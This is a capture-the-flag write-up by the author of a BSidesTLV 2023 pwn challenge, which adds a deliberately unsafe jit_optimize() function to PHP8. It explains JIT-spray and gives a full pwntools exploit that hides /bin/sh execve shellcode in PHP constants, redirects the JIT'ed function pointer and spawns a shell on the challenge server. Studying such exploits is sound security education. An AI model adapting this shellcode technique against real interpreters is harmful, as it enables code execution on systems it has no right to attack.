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BsidesTLV 2023 - 'Zen(d) Master' writeup (pwn)

Jun 01, 2023

This year, I had the honour to write some challenges for the BSidesTLV conference :^) This is my third time in a row, nice.

All the challenge files can be found here.

Challenge Description

You are getting a tar archive with:

  • .patch files: pwn1.patch and pwn2.patch
  • An entire setup and compiles PHP with the patches applied(Dockerfile)
  • a php ini configuration file that basically disables every possible function in PHP: conf.ini
  • A server.py file that gets your input and run arbitrary PHP code(+with the .ini configs applied).

The .patch files introduce a new function for the PHP8 interpreter called jit_optimize(), it accepts two parameters: a function name and an offset.

The new function takes the offset you provide(2nd parameter) and adds that to the JIT’ed trace function pointer: pwn1.patch:59

		if(cur_func_name != NULL && strcmp(ZSTR_VAL(cur_func_name), ZSTR_VAL(arg_func_name)) == 0) {
			printf("[+] Found! \n\targ_func_name=%s\n\tfunc_name=%s\n\taddr=%p\n\n", ZSTR_VAL(arg_func_name), ZSTR_VAL(cur_func_name), cur_trace->code_start);
			found = 1;
			printf("[~] Optimizing JIT'ed func/trace...\n");
			cur_trace->code_start += offset;
			((zend_op*)cur_trace->opline)->handler += offset; // <---- here 
			printf("[+] Done! new addr @ %p\n", cur_trace->code_start);
			break;
		}

Before we dive into the solution, and the explanation of what this primitive gives us: we need to talk briefly about what ‘JIT-Spray’ is.

JIT-Spray for Dummies

In many interpreters, the JIT Compiler produces assembly instructions with immediate values. Usually, those immediate values can be derived from constants in your script. To make it more clear, here’s an example from LuaJIT[1].

function lol()
    local tbl = {}
    for i=0, 100, 1 do
    tbl[2261634.5098039214] = 0        -- Key: 0x4141414141414141
	tbl[156842099844.51764] = 0        -- Key: 0x4242424242424242
	tbl[1.0843961455707782e+16] = 0    -- Key: 0x4343434343434343
	tbl[7.477080264543605e+20] = 0     -- Key: 0x4444444444444444
	tbl[5.142912663207646e+25] = 0     -- Key: 0x4545454545454545
    end
end
 
lol()

Those index specifiers(tbl[some_constant]) turns into immediate values when the JIT Engine compiles them to native assembly:

This is the same snippet but in a hexdump view:

Now I just want to remind you that:

  1. This(in red) is a user-controlled data
  2. We’re looking at an executable page

In other words, we can:

  • Spray constants that will be used as an arbitrary shellcode(tiny shellcodes with jumps in between, because every constant is a 7-8 bytes long with garbage instructions between them)
  • Chain this with another memory corruption bug to make the JIT’ed function pointer point to the middle of the function and not to the beginning(it should point where our 0x414141... starts).

The spraying technique can be different for each interpreter. In LuaJIT(above) we are using the index specifier syntax(tbl[some_index]). And in PHP8, we can use the == operator, as we will see below.

Solution

You’re getting a very powerful primitive to modify a function pointer of a JIT’ed trace. To leverage that, you spray constants that will later be part of an immediate asm instruction/immediate value(after compilation). Those constants, in conjunction with the primitive the challenge gives you, can turn into arbitrary shellcode execution(tiny shellcodes with jumps in between, because every constant is a 7-8 bytes long with garbage instructions between them). You just need to provide an offset that will point to the middle of the generated assembly and not to the beginning(middle==where your constants begin). You provide this offset to the jit_optimize() function

#!/usr/bin/python3
from pwn import *
HOST = 'zend-master.ctf.bsidestlv.com'
PORT = 1337
# JIT-spray let's goooooo
payload =  "<?php"
payload += " function hot($i) {"
payload += "   if($i == 0x0C_EB_90_50_C0_31_48) { return 0 ; } " # xor rax, rax; push rax; nop; jmp
payload += "   if($i == 0x0C_EB_90_90_90_90_50) { return 0 ; } " # push rax; nop; nop; nop; nop; jmp
payload += "   if($i == 0x0C_EB_90_2F_24_04_C6) { return 0 ; } " # mov byte ptr [rsp], '/'; nop; jmp
payload += "   if($i == 0x0C_EB_62_01_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x1], 'b'; jmp
payload += "   if($i == 0x0C_EB_69_02_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x2], 'i'; jmp
payload += "   if($i == 0x0C_EB_6E_03_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x3], 'n'; jmp
payload += "   if($i == 0x0C_EB_2F_04_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x4], '/'; jmp
payload += "   if($i == 0x0C_EB_73_05_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x5], 's'; jmp
payload += "   if($i == 0x0C_EB_68_06_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x6], 'h'; jmp
payload += "   if($i == 0x0C_EB_00_07_24_44_C6) { return 0 ; } " # mov byte ptr [rsp+0x7], 0x00; jmp
payload += "   if($i == 0x0C_EB_58_3B_6A_5F_54) { return 0 ; } " # push rsp; pop rdi; push 0x3b; pop rax; jmp
payload += "   if($i == 0x0C_EB_F6_31_48_90_90) { return 0 ; } " # nop; nop; xor rsi, rsi; jmp
payload += "   if($i == 0x90_90_90_05_0F_99_90) { return 0 ; } " # nop; cdq; syscall; nop; nop; nop
payload += " } "
payload += " for( $i=0; $i<1000; $i++) {  "
payload += "     hot($i); "
payload += " } "
payload += " jit_optimize('hot', 0x21); " # modify the function pointer
payload += " hot(1337); " # pop a shell
payload += " ?> "
client = remote(HOST, PORT)
client.recvline()
client.sendline(payload.encode())
client.interactive()

output:

[+] Opening connection to zend-master.ctf.bsidestlv.com on port 1337: Done
[*] Switching to interactive mode
[+] Found! 
    arg_func_name=hot
    func_name=hot
    addr=0x496f49e0

[~] Optimizing JIT'ed func/trace...
[+] Done! new addr @ 0x496f4a01
$ ls
conf.ini  flag.txt  sanity-tests.py  server.py
$ cat flag.txt
BSidesTLV2023{only-the-dragon-warrior-can-jit-spray-like-this}

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